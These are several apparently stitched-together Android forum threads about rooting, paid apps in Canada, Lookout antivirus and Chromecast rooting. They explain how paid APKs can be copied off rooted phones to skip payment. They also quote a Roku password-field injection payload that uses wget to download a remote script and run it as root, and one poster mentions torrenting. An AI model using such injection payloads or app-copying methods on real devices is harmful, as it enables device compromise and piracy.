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Paid apps in Canada

So it seems like the Android Market paid apps will be a while until it comes to canada, so I was wondering if there is anyone out there (using a g1 in the US on T Mobile) whom I could pay the price of an app, and would be willing to purchase the app, and pass the apk onto me.
Has anyone done this?

http://lmgtfy.com/?q=android+market+enabler

Anyone in Canada get this "Market Enabler" to work?

yes i have .....and it works perfectly

Yea... didn't work. It says "doing root stuff" briefly then it says "huston we have a problem" then says "done! "
ARRRRRRRRGH! Yet another reason why our candian devices need ROOT.

Hold on...Don't you need root first of all to even use the Market Enabler application?

is there an option out there for market-enabler for non-root users?

NO there is not Why not just root your phone? Come on it's loads of fun!

Canadian users that got their HTC devices from Rogers (canadian network) cannot as of yet root their htc devices.
Rooting is being worked on at the moment.

alritewhadeva said:
NO there is not Why not just root your phone? Come on it's loads of fun!
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hahah i would definitely do it, if it were possible....theres so much that i CANNOT do on the unrooted that i could previous do with my HTC TYTN2 winmo...sigh

Paid apps can be copied to rooted phones WITHOUT market (re-)validation ...!

Hi,
Until now I had thought REinstalling a closed market app will force a credit card check anyway (to validate that the app had been payed by the user before) ...!
I have just realized that it is possible with rooted phones to backup a closed (paid) market application to SD (PC), then copy it to another (rooted) phone, reinstall WITHOUT market intervention/validation/credit card check, which means to me that theoretically Google's Market Place can be circumnavigated by filesharing ...!
Is this possibly another thorn in Google's flesh to kill Cyanogen before anybody in the world will use a rooted phone to participate? So Cyanogen is only stated an exampel for all the rooted Android ROMs.
The One Click Method (in opposite to the Goldcard Rooting) makes it easy even for kindergarden kids now ... !
Then at least we have become victims of our perfectionism ...!
Regards

It IS possible to do that yes, however if you were installing a paid app on the phone that you do not own and attempt to update it to the latest version, it WILL fail to update to the newest release without charging you for the app first, so be careful. I've always know there were ways to "steal" paid apps using a rooted phone but to be honest I've never been interested in doing so, if I wanted an app bad enough I paid for it like I should have. I am just interested in making a copy of the app I paid for to have for myself in case of all hell breaking loose.

You can do the same on a non rooted phone (iirc)
The market / package installer is really unprotected imo, it needs more protection for devs.

Yeah, this is hardly new, the community have known about this for months.
If you use an app to backup your apps (ASTRO, AppManager, whatver) it simply copies the apk from /data/app to your sdcard so it can be reinstalled at any point. Protected apps are stored in /data/app-private. Apps like those can't copy protected apps (90% or so of paid apps are protected), but if you have root you can copy the apk out of /data/app-private and reinstall.
I realize I've basically given instructions on how to pirate something, that wasn't my intention I was simply trying to clarify. Oh well, I still reckon this post will be deleted..

It's pretty much common knowledge if you know how to use the ls command.

nothing new
Nothing new here. People have been doing this with all apps (not just paid) for a while now. Its worth making backups of your apps for personal use, this is all well and good, incase you need to wipe your device between roms etc. However what would be be the point in sharing a paid app for free? As already mentioned you can't update it for free so your going to be stuck with an outdated app without access to any new features the developer adds in the future nor will you get any bug fixes if these are needed.
I do try and stay away from paid apps personally as my belief is that android is open-source and everything that goes with it should be free. But there apps out there that are worth the money.
Also, how long before this thread is locked / closed by mods? I'm sure xda rules state that your not allowed to explain how to get around paying for things. Community is to be supported not ripped off.
Ultimately if the app is good PAY THE DEVELOPER they did put a lot of work into creating the app in the first place so it can't hurt us to send them a few coins.

now y or we talking bout selling here,or we that damn cheap you cant pay
$.99 - $2.99 for a app yall sad..lol..cuz we not dumb here,we know there is a way but keep it to urself ppl..thz

Automization said:
Is this possibly another thorn in Google's flesh to kill Cyanogen
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Not sure why you brought up Cyanogen as this has nothing to do with Cyanogen. It is an issue with the reliance on protected apps using the Linux permissions for copy access.

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Lookout or Other Virus Protection Really Needed?

I wanted to get thoughts on if virus protection for the Eris such as Lookout are actually worth using?
Thanks!

zach.xtr said:
I wanted to get thoughts on if virus protection for the Eris such as Lookout are actually worth using?
Thanks!
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use common sense. dont flash **** that you dont know what it is or from someone that isnt respectable. Thats also what the superuser.apk app is for to let you know what app is requesting superuser (root) access, then you can either deny or allow on an individual basis or on a permanent basis.

I don't know about the virus protection part but lookout is great if some tries to take your phone. mine was taken last Thursday and it was recovered the same day thanks to Lookout, and it has a nice backup feature to it too.

Hi,
Noob here.
I currently running my HD2 on Darkstone Froyo, do I install the Lookout program on my Windows or Android software?
I'm assuming Windows, right? since currently I manually load Android.
Incase my phone is stolen & shutoff, at somepoint on start-up it will load Windows and pin point it.

e1money said:
Hi,
Noob here.
I currently running my HD2 on Darkstone Froyo, do I install the Lookout program on my Windows or Android software?
I'm assuming Windows, right? since currently I manually load Android.
Incase my phone is stolen & shutoff, at somepoint on start-up it will load Windows and pin point it.
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That would make the most sense to me. If you have to manually load Android then Windows is where you want it. You should probably ask this in the HD2 section though. This really has nothing to do with the Eris, and not completely an Android question either. The question is specific to people that dual boot Windows and Android, so the guys over there are going to have a lot more accurate information. You may need to have it installed to both Android and Windows, they will be able to help you out more.

I swear by lookout, not so much for virus protection, but for lost device locating and for the backup feature. It's all free and right now I believe it's unlimited. It only does photos, but still it's free and automatic. I recommend it to everyone. I just got my wife to install it on her CrackBerry.

Yeah like others have said the virus protection might not be needed. But the rest of the features are awesome and make the free app worth getting.

Why do you have to Root android phone's to do anything good to them??????

Why do you have to Root android phone's to do anything good to them??????, is what my iPhone friend just told me. I need a really good comeback. Any suggestions?

come on guys....

Call him a dumbfuck. Alternatively, ask him what exactly what these "good things" are that you need to root to access. Multi-tasking? Yeah, been able to do that since forever. Customization? Same. Install a home replacement. Wallpapers? Ditto. The latest iPhone OS only brought to the table features Android has been able to do out of the box from the beginning. Flash? Get your Froyo on via official OTA, no need to root.
Oh, and ask him what he can do with an unjailbroken iPhone. Out of the box, it's a crippled piece of ****.

You can do a lot of "good" things to your phone without rooting.
With froyo comes the LED flashlight and tethering.

Ask him if he can tether or install 3rd party apps (w/o iTunes) without jailbreaking his iPhone and see what he says

lol thanks guys...keep it coming!!!

I have to answer this question at least once or twice a week when asked by many of my co-workers who gave up their crackberries for android. I give them the basics: Overclocking, undervolting, unrestricted tethering etc....But it's best put this way: Imagine having a car that can do 150 MPH but its restricted to 60 MPH. You may not have to go over 60 MPH but you should be able to if needed right? I hacked every smartphone I have owned because I refuse to get less than what my money is worth. If your heart pumps kool-aid or you like being pimped by manufacturers/service providers, then don't jailbreak/root.

JDMSirEK4 said:
Why do you have to Root android phone's to do anything good to them??????, is what my iPhone friend just told me. I need a really good comeback. Any suggestions?
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Tell him it's actually the opposite. Personally I could NOT use an iPhone if it wasn't Jailbroken. This is coming from someone who used an iPhone 3GS for 10 months exclusively. Personally iPhone jailbroken is pretty good. It's pretty useless without jailbreaking, turning on/off wifi/gps/bt, is slow, multitasking, folders/categories/contact picture hack, better sms app, etc..etc..

Ask him to load up some widgets, live wallpapers, google Nav. etc etc etc.

... there's a reason they call it "JAILBREAKING" and "ROOTING".
Jailbreaking = iPhone is useless without it, a lonely condemned soul waiting to be released. And even after you jailbreak it, it's horny, hungry and dumb as hell.
Rooted = getting access to additional features that require admin level access. Personally, I had only 2 reasons to root at all - wifi hotspot and flashlight. BOTH are now available for NON-rooted N1s. So.. Unless you got specific reasons to root.. your phone is already a powerhouse that can do anything.

DarkDvr said:
Rooted = getting access to additional features that require admin level access. Personally, I had only 2 reasons to root at all - wifi hotspot and flashlight. BOTH are now available for NON-rooted N1s. So.. Unless you got specific reasons to root.. your phone is already a powerhouse that can do anything.
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Honestly, the flashlight was the only real reason I ended up rooting. I've since installed other root-only apps, but they do have non-root equivalents.

duh to load custom roms

Be able to uninstall Twitter is all the reason I need to root. Seriously Google, stop doing that, if I want it I'll go find it. Don't start messing your phones up like AT&T does.

Future Rooting of Chromecast?!

Does anyone know if there will be any rooting to the current builds of Chromecast?

No

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Are you sure about that? I thought nothing has been found yet but still looking for a way.

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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.

The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.

DJames1 said:
Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
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Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.

Asphyx said:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
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Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.

LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!

I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.

wptski said:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
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Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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bhiga said:
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
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And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL

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Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
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Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)

Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!

bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
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Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
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Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
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It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL

So TC is basically asking someone to read the future.... Interesting.
Sent from my HTC One X using Tapatalk 2

Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
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I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?

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Are you sure about that? I thought nothing has been found yet but still looking for a way.
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You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.

DJames1 said:
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
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We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....

Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.

Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
Sent from my Nexus 4 using xda app-developers app

Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.